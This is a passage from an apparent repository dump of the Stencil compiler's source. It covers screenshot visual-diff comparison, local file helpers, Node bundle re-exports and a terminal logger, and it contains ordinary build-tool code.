b.device) {\n        if (a.device.toLowerCase() < b.device.toLowerCase()) return -1;\n        if (a.device.toLowerCase() > b.device.toLowerCase()) return 1;\n      }\n\n      if (a.userAgent && b.userAgent) {\n        if (a.userAgent.toLowerCase() < b.userAgent.toLowerCase()) return -1;\n        if (a.userAgent.toLowerCase() > b.userAgent.toLowerCase()) return 1;\n      }\n\n      if (a.width < b.width) return -1;\n      if (a.width > b.width) return 1;\n\n      if (a.height < b.height) return -1;\n      if (a.height > b.height) return 1;\n\n      if (a.id < b.id) return -1;\n      if (a.id > b.id) return 1;\n\n      return 0;\n    });\n  }\n\n  sortCompares(compares: d.ScreenshotDiff[]) {\n    return compares.sort((a, b) => {\n      if (a.allowableMismatchedPixels > b.allowableMismatchedPixels) return -1;\n      if (a.allowableMismatchedPixels < b.allowableMismatchedPixels) return 1;\n\n      if (a.allowableMismatchedRatio > b.allowableMismatchedRatio) return -1;\n      if (a.allowableMismatchedRatio < b.allowableMismatchedRatio) return 1;\n\n      if (a.desc && b.desc) {\n        if (a.desc.toLowerCase() < b.desc.toLowerCase()) return -1;\n        if (a.desc.toLowerCase() > b.desc.toLowerCase()) return 1;\n      }\n\n      if (a.device && b.device) {\n        if (a.device.toLowerCase() < b.device.toLowerCase()) return -1;\n        if (a.device.toLowerCase() > b.device.toLowerCase()) return 1;\n      }\n\n      if (a.userAgent && b.userAgent) {\n        if (a.userAgent.toLowerCase() < b.userAgent.toLowerCase()) return -1;\n        if (a.userAgent.toLowerCase() > b.userAgent.toLowerCase()) return 1;\n      }\n\n      if (a.width < b.width) return -1;\n      if (a.width > b.width) return 1;\n\n      if (a.height < b.height) return -1;\n      if (a.height > b.height) return 1;\n\n      if (a.id < b.id) return -1;\n      if (a.id > b.id) return 1;\n\n      return 0;\n    });\n  }\n}\n"
  },
  {
    "path": "src/screenshot/connector-local.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { normalizePath } from '@utils';\nimport { join, relative } from 'path';\n\nimport { ScreenshotConnector } from './connector-base';\nimport { fileExists, readFile, writeFile } from './screenshot-fs';\n\nexport class ScreenshotLocalConnector extends ScreenshotConnector {\n  override async publishBuild(results: d.ScreenshotBuildResults) {\n    if (this.updateMaster || !results.masterBuild) {\n      results.masterBuild = {\n        id: 'master',\n        message: 'Master',\n        appNamespace: this.appNamespace,\n        timestamp: Date.now(),\n        screenshots: [],\n      };\n    }\n\n    results.currentBuild.screenshots.forEach((currentScreenshot) => {\n      const masterHasScreenshot = results.masterBuild.screenshots.some((masterScreenshot) => {\n        return currentScreenshot.id === masterScreenshot.id;\n      });\n\n      if (!masterHasScreenshot) {\n        results.masterBuild.screenshots.push(Object.assign({}, currentScreenshot));\n      }\n    });\n\n    this.sortScreenshots(results.masterBuild.screenshots);\n\n    await writeFile(this.masterBuildFilePath, JSON.stringify(results.masterBuild, null, 2));\n\n    await this.generateJsonpDataUris(results.currentBuild);\n\n    const compareAppSourceDir = join(this.packageDir, 'screenshot', 'compare');\n    const appSrcUrl = normalizePath(relative(this.screenshotDir, compareAppSourceDir));\n    const imagesUrl = normalizePath(relative(this.screenshotDir, this.imagesDir));\n    const jsonpUrl = normalizePath(relative(this.screenshotDir, this.cacheDir));\n\n    const compareAppHtml = createLocalCompareApp(\n      this.appNamespace,\n      appSrcUrl,\n      imagesUrl,\n      jsonpUrl,\n      results.masterBuild,\n      results.currentBuild,\n    );\n\n    const compareAppFileName = 'compare.html';\n    const compareAppFilePath = join(this.screenshotDir, compareAppFileName);\n    await writeFile(compareAppFilePath, compareAppHtml);\n\n    const gitIgnorePath = join(this.screenshotDir, '.gitignore');\n    const gitIgnoreExists = await fileExists(gitIgnorePath);\n    if (!gitIgnoreExists) {\n      const content = [this.imagesDirName, this.buildsDirName, compareAppFileName];\n      await writeFile(gitIgnorePath, content.join('\\n'));\n    }\n\n    const url = new URL(`file://${compareAppFilePath}`);\n\n    results.compare.url = url.href;\n\n    return results;\n  }\n\n  override async getScreenshotCache() {\n    let screenshotCache: d.ScreenshotCache = null;\n\n    try {\n      screenshotCache = JSON.parse(await readFile(this.screenshotCacheFilePath));\n    } catch (e) {}\n\n    return screenshotCache;\n  }\n\n  override async updateScreenshotCache(cache: d.ScreenshotCache, buildResults: d.ScreenshotBuildResults) {\n    cache = await super.updateScreenshotCache(cache, buildResults);\n\n    await writeFile(this.screenshotCacheFilePath, JSON.stringify(cache, null, 2));\n\n    return cache;\n  }\n}\n\nfunction createLocalCompareApp(\n  namespace: string,\n  appSrcUrl: string,\n  imagesUrl: string,\n  jsonpUrl: string,\n  a: d.ScreenshotBuild,\n  b: d.ScreenshotBuild,\n) {\n  return `<!doctype html>\n<html dir=\"ltr\" lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>Local ${namespace || ''} - Stencil Screenshot Visual Diff</title>\n  <meta name=\"viewport\" content=\"viewport-fit=cover, width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n  <meta http-equiv=\"x-ua-compatible\" content=\"IE=Edge\">\n  <link href=\"${appSrcUrl}/build/app.css\" rel=\"stylesheet\">\n  <script type=\"module\" src=\"${appSrcUrl}/build/app.esm.js\"></script>\n  <script nomodule src=\"${appSrcUrl}/build/app.js\"></script>\n  <link rel=\"icon\" type=\"image/x-icon\" href=\"${appSrcUrl}/assets/favicon.ico\">\n</head>\n<body>\n  <script>\n    (function() {\n      var app = document.createElement('screenshot-compare');\n      app.appSrcUrl = '${appSrcUrl}';\n      app.imagesUrl = '${imagesUrl}/';\n      app.jsonpUrl = '${jsonpUrl}/';\n      app.a = ${JSON.stringify(a)};\n      app.b = ${JSON.stringify(b)};\n      document.body.appendChild(app);\n    })();\n  </script>\n</body>\n</html>`;\n}\n"
  },
  {
    "path": "src/screenshot/index.ts",
    "content": "export { ScreenshotConnector } from './connector-base';\nexport { ScreenshotLocalConnector } from './connector-local';\nexport { Screenshot, ScreenshotBuild, ScreenshotCompareResults, ScreenshotDiff } from '@stencil/core/internal';\n"
  },
  {
    "path": "src/screenshot/pixel-match.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport fs from 'fs';\nimport pixelmatch from 'pixelmatch';\nimport { PNG } from 'pngjs';\n\nfunction getMismatchedPixels(pixelMatchInput: d.PixelMatchInput) {\n  const imgA = fs.createReadStream(pixelMatchInput.imageAPath).pipe(new PNG()).on('parsed', doneReading);\n  const imgB = fs.createReadStream(pixelMatchInput.imageBPath).pipe(new PNG()).on('parsed', doneReading);\n\n  let filesRead = 0;\n\n  function doneReading() {\n    if (++filesRead < 2) return;\n\n    const mismatchedPixels = pixelmatch(imgA.data, imgB.data, null, pixelMatchInput.width, pixelMatchInput.height, {\n      threshold: pixelMatchInput.pixelmatchThreshold,\n      includeAA: false,\n    });\n\n    if (typeof process.send !== 'function') {\n      throw new Error('`getMismatchedPixels` must be run in a child process.');\n    }\n\n    process.send(mismatchedPixels);\n  }\n}\n\nprocess.on('message', getMismatchedPixels);\n"
  },
  {
    "path": "src/screenshot/screenshot-compare.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { normalizePath } from '@utils';\nimport { fork } from 'child_process';\nimport { createHash } from 'crypto';\nimport { join, relative } from 'path';\n\nimport { writeScreenshotData, writeScreenshotImage } from './screenshot-fs';\n\n/**\n * @see {@link d.TestingConfig.screenshotTimeout}\n */\nconst DEFAULT_SCREENSHOT_TIMEOUT = 2500;\n\nexport async function compareScreenshot(\n  emulateConfig: d.EmulateConfig,\n  screenshotBuildData: d.ScreenshotBuildData,\n  currentScreenshotBuf: Buffer,\n  screenshotTimeoutMs: number | null,\n  desc: string,\n  width: number,\n  height: number,\n  testPath: string,\n  pixelmatchThreshold: number,\n) {\n  const currentImageHash = createHash('sha256').update(currentScreenshotBuf).digest('hex');\n  const currentImageName = `${currentImageHash}.png`;\n  const currentImagePath = join(screenshotBuildData.imagesDir, currentImageName);\n\n  await writeScreenshotImage(currentImagePath, currentScreenshotBuf);\n\n  if (testPath) {\n    testPath = normalizePath(relative(screenshotBuildData.rootDir, testPath));\n  }\n\n  // create the data we'll be saving as json\n  // the \"id\" is what we use as a key to compare to sets of data\n  // the \"image\" is a hash of the image file name\n  // and what we can use to quickly see if they're identical or not\n  const screenshotId = getScreenshotId(emulateConfig, desc);\n\n  const screenshot = {\n    id: screenshotId,\n    image: currentImageName,\n    device: emulateConfig.device,\n    userAgent: emulateConfig.userAgent,\n    desc: desc,\n    testPath: testPath,\n    width: width,\n    height: height,\n    deviceScaleFactor: emulateConfig.viewport?.deviceScaleFactor,\n    hasTouch: emulateConfig.viewport?.hasTouch,\n    isLandscape: emulateConfig.viewport?.isLandscape,\n    isMobile: emulateConfig.viewport?.isMobile,\n    diff: {\n      id: screenshotId,\n      desc: desc,\n      imageA: currentImageName,\n      imageB: currentImageName,\n      mismatchedPixels: 0,\n      device: emulateConfig.device,\n      userAgent: emulateConfig.userAgent,\n      width: width,\n      height: height,\n      deviceScaleFactor: emulateConfig.viewport?.deviceScaleFactor,\n      hasTouch: emulateConfig.viewport?.hasTouch,\n      isLandscape: emulateConfig.viewport?.isLandscape,\n      isMobile: emulateConfig.viewport?.isMobile,\n      allowableMismatchedPixels: screenshotBuildData.allowableMismatchedPixels,\n      allowableMismatchedRatio: screenshotBuildData.allowableMismatchedRatio,\n      testPath: testPath,\n      cacheKey: undefined as string | undefined,\n    },\n  } satisfies d.Screenshot;\n\n  if (screenshotBuildData.updateMaster) {\n    // this data is going to become the master data\n    // so no need to compare with previous versions\n    await writeScreenshotData(screenshotBuildData.currentBuildDir, screenshot);\n    return screenshot.diff;\n  }\n\n  const masterScreenshotImage = screenshotBuildData.masterScreenshots[screenshot.id];\n\n  if (!masterScreenshotImage) {\n    // didn't find a master screenshot to compare it to\n    await writeScreenshotData(screenshotBuildData.currentBuildDir, screenshot);\n    return screenshot.diff;\n  }\n\n  // set that the master data image as the image we're going to compare the current image to\n  // imageB is already set as the current image\n  screenshot.diff.imageA = masterScreenshotImage;\n\n  // compare only if the image hashes are different\n  if (screenshot.diff.imageA !== screenshot.diff.imageB) {\n    // we know the images are not identical since they have different hashes\n    // create a cache key from the two hashes\n    screenshot.diff.cacheKey = getCacheKey(screenshot.diff.imageA, screenshot.diff.imageB, pixelmatchThreshold);\n\n    // let's see if we've already calculated the mismatched pixels already\n    const cachedMismatchedPixels = screenshotBuildData.cache[screenshot.diff.cacheKey];\n    if (typeof cachedMismatchedPixels === 'number' && !isNaN(cachedMismatchedPixels)) {\n      // awesome, we've got cached data so we\n      // can skip having to do the heavy pixelmatch comparison\n      screenshot.diff.mismatchedPixels = cachedMismatchedPixels;\n    } else {\n      // images are not identical\n      // and we don't have any cached data so let's\n      // compare the two images pixel by pixel to\n      // figure out a mismatch value\n\n      const pixelMatchInput: d.PixelMatchInput = {\n        imageAPath: join(screenshotBuildData.imagesDir, screenshot.diff.imageA),\n        imageBPath: join(screenshotBuildData.imagesDir, screenshot.diff.imageB),\n        width: Math.round(width),\n        height: Math.round(height),\n        pixelmatchThreshold: pixelmatchThreshold,\n      };\n\n      screenshot.diff.mismatchedPixels = await getMismatchedPixels(\n        screenshotBuildData.pixelmatchModulePath,\n        pixelMatchInput,\n        screenshotTimeoutMs,\n      );\n    }\n  }\n\n  await writeScreenshotData(screenshotBuildData.currentBuildDir, screenshot);\n\n  return screenshot.diff;\n}\n\nasync function getMismatchedPixels(\n  pixelmatchModulePath: string,\n  pixelMatchInput: d.PixelMatchInput,\n  screenshotTimeoutMs: number | null,\n) {\n  return new Promise<number>((resolve, reject) => {\n    /**\n     * When using screenshot functionality in a runner that is not Jasmine (e.g. Jest Circus), we need to set a default\n     * value for timeouts. There are runtime errors that occur if we attempt to use optional chaining + nullish\n     * coalescing with the `jasmine` global stating it's not defined. As a result, we use a ternary here.\n     *\n     * For Jest environments that don't use Jest Circus we define the timeout based on the\n     * `jasmine.DEFAULT_TIMEOUT_INTERVAL` (5000) divided by 2. Otherwise we use {@link d.TestingConfig.screenshotTimeout}.\n     */\n    const timeout =\n      screenshotTimeoutMs !== null\n        ? screenshotTimeoutMs\n        : typeof jasmine !== 'undefined' && jasmine.DEFAULT_TIMEOUT_INTERVAL\n          ? jasmine.DEFAULT_TIMEOUT_INTERVAL * 0.5\n          : DEFAULT_SCREENSHOT_TIMEOUT;\n    const tmr = setTimeout(() => {\n      reject(`getMismatchedPixels timeout: ${timeout}ms`);\n    }, timeout);\n\n    try {\n      let error: string | undefined;\n      const filteredExecArgs = process.execArgv.filter((v) => !/^--(debug|inspect)/.test(v));\n\n      const options = {\n        execArgv: filteredExecArgs,\n        env: process.env,\n        cwd: process.cwd(),\n        stdio: ['pipe', 'pipe', 'pipe', 'ipc'] as any,\n      };\n\n      const pixelMatchProcess = fork(pixelmatchModulePath, [], options);\n\n      pixelMatchProcess.on('message', (data: any) => {\n        pixelMatchProcess.kill();\n        clearTimeout(tmr);\n        resolve(data);\n      });\n\n      pixelMatchProcess.on('error', (err) => {\n        clearTimeout(tmr);\n        reject(err);\n      });\n\n      pixelMatchProcess.stderr?.on('data', (data) => {\n        error = data.toString();\n      });\n\n      /**\n       * Make sure we reject the promise if the process exits due to an error\n       * or prematurely for some other reason. Note that in order to resolve\n       * the promise we expect a message to be sent containing information about\n       * the mismatched pixels.\n       */\n      pixelMatchProcess.on('exit', (code) => {\n        clearTimeout(tmr);\n        const exitError =\n          code === 0\n            ? new Error('Pixelmatch process exited unexpectedly')\n            : new Error(`Pixelmatch process exited with code ${code}: ${error || 'unknown error'}`);\n        return reject(exitError);\n      });\n\n      pixelMatchProcess.send(pixelMatchInput);\n    } catch (e) {\n      clearTimeout(tmr);\n      reject(`getMismatchedPixels error: ${e}`);\n    }\n  });\n}\n\nfunction getCacheKey(imageA: string, imageB: string, pixelmatchThreshold: number) {\n  const hash = createHash('md5');\n  hash.update(`${imageA}:${imageB}:${pixelmatchThreshold}`);\n  return hash.digest('hex').slice(0, 10);\n}\n\nfunction getScreenshotId(emulateConfig: d.EmulateConfig, uniqueDescription: string) {\n  if (typeof uniqueDescription !== 'string' || uniqueDescription.trim().length === 0) {\n    throw new Error(`invalid test description`);\n  }\n\n  const hash = createHash('md5');\n\n  hash.update(uniqueDescription + ':');\n  hash.update(emulateConfig.userAgent + ':');\n\n  if (emulateConfig.viewport !== undefined) {\n    hash.update(emulateConfig.viewport.width + ':');\n    hash.update(emulateConfig.viewport.height + ':');\n    hash.update(emulateConfig.viewport.deviceScaleFactor + ':');\n    hash.update(emulateConfig.viewport.hasTouch + ':');\n    hash.update(emulateConfig.viewport.isMobile + ':');\n  }\n\n  return hash.digest('hex').slice(0, 8).toLowerCase();\n}\n"
  },
  {
    "path": "src/screenshot/screenshot-fs.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport fs from 'fs';\nimport path from 'path';\n\nexport async function writeScreenshotImage(imagePath: string, screenshotBuf: Buffer) {\n  const imageExists = await fileExists(imagePath);\n  if (!imageExists) {\n    await writeFile(imagePath, screenshotBuf);\n  }\n}\n\nexport async function writeScreenshotData(dataDir: string, screenshotData: d.Screenshot) {\n  const filePath = getDataFilePath(dataDir, screenshotData.id);\n  const content = JSON.stringify(screenshotData, null, 2);\n  await writeFile(filePath, content);\n}\n\nexport async function readScreenshotData(dataDir: string, screenshotId: string) {\n  let rtn: d.Screenshot | null = null;\n\n  try {\n    const dataFilePath = getDataFilePath(dataDir, screenshotId);\n    const dataContent = await readFile(dataFilePath);\n    rtn = JSON.parse(dataContent);\n  } catch (e) {}\n\n  return rtn;\n}\n\nfunction getDataFilePath(dataDir: string, screenshotId: string) {\n  const fileName = `${screenshotId}.json`;\n  return path.join(dataDir, fileName);\n}\n\nexport function fileExists(filePath: string) {\n  return new Promise<boolean>((resolve) => {\n    fs.access(filePath, (err: any) => resolve(!err));\n  });\n}\n\nexport function readFile(filePath: string) {\n  return new Promise<string>((resolve, reject) => {\n    fs.readFile(filePath, 'utf-8', (err: any, data) => {\n      if (err) {\n        reject(err);\n      } else {\n        resolve(data);\n      }\n    });\n  });\n}\n\nexport function readFileBuffer(filePath: string) {\n  return new Promise<Buffer>((resolve, reject) => {\n    fs.readFile(filePath, (err: any, data) => {\n      if (err) {\n        reject(err);\n      } else {\n        resolve(data);\n      }\n    });\n  });\n}\n\nexport function writeFile(filePath: string, data: any) {\n  return new Promise<void>((resolve, reject) => {\n    fs.writeFile(filePath, data, (err: any) => {\n      if (err) {\n        reject(err);\n      } else {\n        resolve();\n      }\n    });\n  });\n}\n\nexport function mkDir(filePath: string) {\n  return new Promise<void>((resolve) => {\n    fs.mkdir(filePath, () => {\n      resolve();\n    });\n  });\n}\n\nexport function rmDir(filePath: string) {\n  return new Promise<void>((resolve) => {\n    fs.rmdir(filePath, () => {\n      resolve();\n    });\n  });\n}\n\nexport async function emptyDir(dir: string) {\n  const files = await readDir(dir);\n\n  const promises = files.map(async (fileName) => {\n    const filePath = path.join(dir, fileName);\n    const isDirFile = await isFile(filePath);\n    if (isDirFile) {\n      await unlink(filePath);\n    }\n  });\n\n  await Promise.all(promises);\n}\n\nexport async function readDir(dir: string) {\n  return new Promise<string[]>((resolve) => {\n    fs.readdir(dir, (err, files) => {\n      if (err) {\n        resolve([]);\n      } else {\n        resolve(files);\n      }\n    });\n  });\n}\n\nexport async function isFile(itemPath: string) {\n  return new Promise<boolean>((resolve) => {\n    fs.stat(itemPath, (err, stat) => {\n      if (err) {\n        resolve(false);\n      } else {\n        resolve(stat.isFile());\n      }\n    });\n  });\n}\n\nexport async function unlink(filePath: string) {\n  return new Promise<void>((resolve) => {\n    fs.unlink(filePath, () => {\n      resolve();\n    });\n  });\n}\n"
  },
  {
    "path": "src/sys/node/bundles/autoprefixer.js",
    "content": "exports.autoprefixer = require('autoprefixer');\nexports.postcss = require('postcss');\n"
  },
  {
    "path": "src/sys/node/bundles/glob.js",
    "content": "module.exports = require('glob');\n"
  },
  {
    "path": "src/sys/node/bundles/graceful-fs.js",
    "content": "module.exports = require('graceful-fs');\n"
  },
  {
    "path": "src/sys/node/bundles/node-fetch.js",
    "content": "const nodeFetch = require('node-fetch');\n\nexports.fetch = nodeFetch.default;\nexports.Headers = nodeFetch.Headers;\nexports.Request = nodeFetch.Request;\nexports.Response = nodeFetch.Response;\nexports.FetchError = nodeFetch.FetchError;\n"
  },
  {
    "path": "src/sys/node/bundles/prompts.js",
    "content": "// we already know node will be greater than 8.6.0\n// https://github.com/terkelg/prompts/blob/master/index.js\nmodule.exports = require('prompts/lib/index.js');\n"
  },
  {
    "path": "src/sys/node/index.ts",
    "content": "export { createNodeLogger } from './logger';\nexport { setupNodeProcess } from './node-setup-process';\nexport { createNodeSys } from './node-sys';\n"
  },
  {
    "path": "src/sys/node/logger/index.ts",
    "content": "import type { Logger } from '@stencil/core/declarations';\nimport fs from 'graceful-fs';\nimport path from 'path';\n\nimport { createTerminalLogger, TerminalLoggerSys } from './terminal-logger';\n\n/**\n * Create a logger to run in a Node environment\n *\n * @returns the created logger\n */\nexport const createNodeLogger = (): Logger => {\n  const loggerSys = createNodeLoggerSys();\n  const logger = createTerminalLogger(loggerSys);\n  return logger;\n};\n\n/**\n * Create a logger sys object for use in a Node.js environment\n *\n * The `TerminalLoggerSys` interface basically abstracts away some\n * environment-specific details so that the terminal logger can deal with\n * things in a (potentially) platform-agnostic way.\n *\n * @returns a configured logger sys object\n */\nexport function createNodeLoggerSys(): TerminalLoggerSys {\n  const cwd = () => process.cwd();\n\n  const emoji = (emoji: string) => (process.platform !== 'win32' ? emoji : '');\n\n  /**\n   * Get the number of columns for the terminal to use when printing\n   * @returns the number of columns to use\n   */\n  const getColumns = () => {\n    const min_columns = 60;\n    const max_columns = 120;\n    const defaultWidth = 80;\n\n    const terminalWidth = process?.stdout?.columns ?? defaultWidth;\n    return Math.max(Math.min(terminalWidth, max_columns), min_columns);\n  };\n\n  const memoryUsage = () => process.memoryUsage().rss;\n\n  const relativePath = (from: string, to: string) => path.relative(from, to);\n\n  const writeLogs = (logFilePath: string, log: string, append: boolean) => {\n    if (append) {\n      try {\n        fs.accessSync(logFilePath);\n      } catch (e) {\n        append = false;\n      }\n    }\n\n    if (append) {\n      fs.appendFileSync(logFilePath, log);\n    } else {\n      fs.writeFileSync(logFilePath, log);\n    }\n  };\n\n  const createLineUpdater = async () => {\n    const readline = await import('readline');\n    let promise = Promise.resolve();\n    const update = (text: string) => {\n      text = text.substring(0, process.stdout.columns - 5) + '\\x1b[0m';\n      return (promise = promise.then(() => {\n        return new Promise<any>((resolve) => {\n          readline.clearLine(process.stdout, 0);\n          readline.cursorTo(process.stdout, 0, undefined);\n          process.stdout.write(text, resolve);\n        });\n      }));\n    };\n\n    const stop = () => {\n      return update('\\x1B[?25h');\n    };\n\n    // hide cursor\n    process.stdout.write('\\x1B[?25l');\n    return {\n      update,\n      stop,\n    };\n  };\n\n  return {\n    cwd,\n    emoji,\n    getColumns,\n    memoryUsage,\n    relativePath,\n    writeLogs,\n    createLineUpdater,\n  };\n}\n"
  },
  {
    "path": "src/sys/node/logger/terminal-logger.ts",
    "content": "import ansiColor, { bgRed, blue, bold, cyan, dim, gray, green, magenta, red, yellow } from 'ansi-colors';\n\nimport {\n  Diagnostic,\n  LOG_LEVELS,\n  Logger,\n  LoggerLineUpdater,\n  LoggerTimeSpan,\n  LogLevel,\n  PrintLine,\n} from '../../../declarations';\n\n/**\n * A type to capture the range of functions exported by the ansi-colors module\n * Unfortunately they don't make a type like this available directly, so we have\n * to do a little DIY.\n */\ntype AnsiColorVariant = keyof typeof ansiColor.styles;\n\n/**\n * Create a logger for outputting information to a terminal environment\n * @param loggerSys an underlying logger system entity used to create the terminal logger\n * @returns the created logger\n */\nexport const createTerminalLogger = (loggerSys: TerminalLoggerSys): Logger => {\n  // The current log level setting\n  // this can be modified at runtime\n  let currentLogLevel: LogLevel = 'info';\n  let logFilePath: string | null = null;\n  const writeLogQueue: string[] = [];\n\n  const setLevel = (l: LogLevel) => (currentLogLevel = l);\n\n  const getLevel = () => currentLogLevel;\n\n  const setLogFilePath = (p: string) => (logFilePath = p);\n\n  const info = (...msg: any[]) => {\n    if (shouldLog(currentLogLevel, 'info')) {\n      const lines = wordWrap(msg, loggerSys.getColumns());\n      infoPrefix(lines);\n      console.log(lines.join('\\n'));\n    }\n    queueWriteLog('I', msg);\n  };\n\n  const infoPrefix = (lines: string[]) => {\n    if (lines.length > 0) {\n      const prefix = formatPrefixTimestamp();\n      lines[0] = dim(prefix) + lines[0].slice(prefix.length);\n    }\n  };\n\n  const warn = (...msg: any[]) => {\n    if (shouldLog(currentLogLevel, 'warn')) {\n      const lines = wordWrap(msg, loggerSys.getColumns());\n      warnPrefix(lines);\n      console.warn('\\n' + lines.join('\\n') + '\\n');\n    }\n    queueWriteLog('W', msg);\n  };\n\n  const warnPrefix = (lines: string[]) => {\n    if (lines.length) {\n      const prefix = '[ WARN  ]';\n      lines[0] = bold(yellow(prefix)) + lines[0].slice(prefix.length);\n    }\n  };\n\n  const error = (...msg: any[]) => {\n    for (let i = 0; i < msg.length; i++) {\n      if (msg[i] instanceof Error) {\n        const err: Error = msg[i];\n        msg[i] = err.message;\n        if (err.stack) {\n          msg[i] += '\\n' + err.stack;\n        }\n      }\n    }\n\n    if (shouldLog(currentLogLevel, 'error')) {\n      const lines = wordWrap(msg, loggerSys.getColumns());\n      errorPrefix(lines);\n      console.error('\\n' + lines.join('\\n') + '\\n');\n    }\n    queueWriteLog('E', msg);\n  };\n\n  const errorPrefix = (lines: string[]) => {\n    if (lines.length) {\n      const prefix = '[ ERROR ]';\n      lines[0] = bold(red(prefix)) + lines[0].slice(prefix.length);\n    }\n  };\n\n  const debug = (...msg: any[]) => {\n    if (shouldLog(currentLogLevel, 'debug')) {\n      formatMemoryUsage(msg);\n      const lines = wordWrap(msg, loggerSys.getColumns());\n      debugPrefix(lines);\n      console.log(lines.join('\\n'));\n    }\n    queueWriteLog('D', msg);\n  };\n\n  const debugPrefix = (lines: string[]) => {\n    if (lines.length) {\n      const prefix = formatPrefixTimestamp();\n      lines[0] = cyan(prefix) + lines[0].slice(prefix.length);\n    }\n  };\n\n  const timespanStart = (startMsg: string, debug: boolean, appendTo?: string[]) => {\n    const msg = [`${startMsg} ${dim('...')}`];\n\n    if (debug) {\n      if (shouldLog(currentLogLevel, 'debug')) {\n        formatMemoryUsage(msg);\n        const lines = wordWrap(msg, loggerSys.getColumns());\n        debugPrefix(lines);\n        console.log(lines.join('\\n'));\n        queueWriteLog('D', [`${startMsg} ...`]);\n      }\n    } else {\n      const lines = wordWrap(msg, loggerSys.getColumns());\n      infoPrefix(lines);\n      console.log(lines.join('\\n'));\n      queueWriteLog('I', [`${startMsg} ...`]);\n      if (appendTo) {\n        appendTo.push(`${startMsg} ...`);\n      }\n    }\n  };\n\n  /**\n   * A little helper to (conditionally) format and add the current memory usage\n   *\n   * @param message an array to which the memory usage will be added\n   */\n  const formatMemoryUsage = (message: string[]) => {\n    const mem = loggerSys.memoryUsage();\n    if (mem > 0) {\n      message.push(dim(` MEM: ${(mem / 1_000_000).toFixed(1)}MB`));\n    }\n  };\n\n  const timespanFinish = (\n    finishMsg: string,\n    timeSuffix: string,\n    colorName: AnsiColorVariant,\n    textBold: boolean,\n    newLineSuffix: boolean,\n    debug: boolean,\n    appendTo?: string[],\n  ) => {\n    let msg = finishMsg;\n\n    if (colorName) {\n      msg = ansiColor[colorName](finishMsg);\n    }\n    if (textBold) {\n      msg = bold(msg);\n    }\n\n    msg += ' ' + dim(timeSuffix);\n\n    if (debug) {\n      if (shouldLog(currentLogLevel, 'debug')) {\n        const m = [msg];\n        formatMemoryUsage(m);\n\n        const lines = wordWrap(m, loggerSys.getColumns());\n        debugPrefix(lines);\n        console.log(lines.join('\\n'));\n      }\n      queueWriteLog('D', [`${finishMsg} ${timeSuffix}`]);\n    } else {\n      const lines = wordWrap([msg], loggerSys.getColumns());\n      infoPrefix(lines);\n      console.log(lines.join('\\n'));\n      queueWriteLog('I', [`${finishMsg} ${timeSuffix}`]);\n\n      if (appendTo) {\n        appendTo.push(`${finishMsg} ${timeSuffix}`);\n      }\n    }\n\n    if (newLineSuffix) {\n      console.log('');\n    }\n  };\n\n  const createTimeSpan = (startMsg: string, debug = false, appendTo?: string[]) => {\n    const start = Date.now();\n    const duration = () => Date.now() - start;\n    const timeSpan: LoggerTimeSpan = {\n      duration,\n      finish: (finishMsg, colorName: AnsiColorVariant, textBold, newLineSuffix) => {\n        const dur = duration();\n        let time: string;\n\n        if (dur > 1000) {\n          time = 'in ' + (dur / 1000).toFixed(2) + ' s';\n        } else {\n          const ms = parseFloat(dur.toFixed(3));\n          if (ms > 0) {\n            time = 'in ' + dur + ' ms';\n          } else {\n            time = 'in less than 1 ms';\n          }\n        }\n\n        timespanFinish(finishMsg, time, colorName, !!textBold, !!newLineSuffix, debug, appendTo);\n\n        return dur;\n      },\n    };\n    timespanStart(startMsg, debug, appendTo);\n    return timeSpan;\n  };\n\n  const queueWriteLog = (prefix: string, msg: any[]) => {\n    if (logFilePath) {\n      const d = new Date();\n      const log =\n        '' +\n        ('0' + d.getHours()).slice(-2) +\n        ':' +\n        ('0' + d.getMinutes()).slice(-2) +\n        ':' +\n        ('0' + d.getSeconds()).slice(-2) +\n        '.' +\n        ('0' + Math.floor((d.getMilliseconds() / 1000) * 10)) +\n        '  ' +\n        ('000' + (loggerSys.memoryUsage() / 1000000).toFixed(1)).slice(-6) +\n        'MB' +\n        '  ' +\n        prefix +\n        '  ' +\n        msg.join(', ');\n\n      writeLogQueue.push(log);\n    }\n  };\n\n  const writeLogs = (append: boolean) => {\n    if (logFilePath) {\n      try {\n        queueWriteLog('F', ['--------------------------------------']);\n        loggerSys.writeLogs(logFilePath, writeLogQueue.join('\\n'), append);\n      } catch (e) {}\n    }\n\n    writeLogQueue.length = 0;\n  };\n\n  /**\n   * Callback to enable / disable colored output in logs\n   * @param useColors the new value for the `enabled` toggle on ansi-color\n   */\n  const enableColors = (useColors: boolean) => {\n    ansiColor.enabled = useColors;\n  };\n\n  /**\n   * Print all diagnostics to the console\n   * @param diagnostics the diagnostics to print\n   * @param cwd the current working directory\n   */\n  const printDiagnostics = (diagnostics: Diagnostic[], cwd?: string): void => {\n    if (!diagnostics || diagnostics.length === 0) return;\n\n    let outputLines: string[] = [''];\n\n    diagnostics.forEach((d) => {\n      outputLines = outputLines.concat(printDiagnostic(d, cwd));\n    });\n\n    console.log(outputLines.join('\\n'));\n  };\n\n  /**\n   * Formats a single diagnostic to be printed\n   * @param diagnostic the diagnostic to prepare for printing\n   * @param cwd the current working directory\n   * @returns the message from the diagnostic, formatted and split into multiple lines\n   */\n  const printDiagnostic = (diagnostic: Diagnostic, cwd?: string): ReadonlyArray<string> => {\n    const outputLines = wordWrap([diagnostic.messageText], loggerSys.getColumns());\n\n    let header = '';\n\n    if (diagnostic.header && diagnostic.header !== 'Build Error') {\n      header += diagnostic.header;\n    }\n\n    if (typeof diagnostic.absFilePath === 'string' && typeof diagnostic.relFilePath !== 'string') {\n      if (typeof cwd !== 'string') {\n        cwd = loggerSys.cwd();\n      }\n\n      diagnostic.relFilePath = loggerSys.relativePath(cwd, diagnostic.absFilePath);\n      if (!diagnostic.relFilePath.includes('/')) {\n        diagnostic.relFilePath = './' + diagnostic.relFilePath;\n      }\n    }\n\n    let filePath = diagnostic.relFilePath;\n    if (typeof filePath !== 'string') {\n      filePath = diagnostic.absFilePath;\n    }\n\n    if (typeof filePath === 'string') {\n      if (header.length > 0) {\n        header += ': ';\n      }\n\n      header += cyan(filePath);\n\n      if (typeof diagnostic.lineNumber === 'number' && diagnostic.lineNumber > -1) {\n        header += dim(`:`);\n        header += 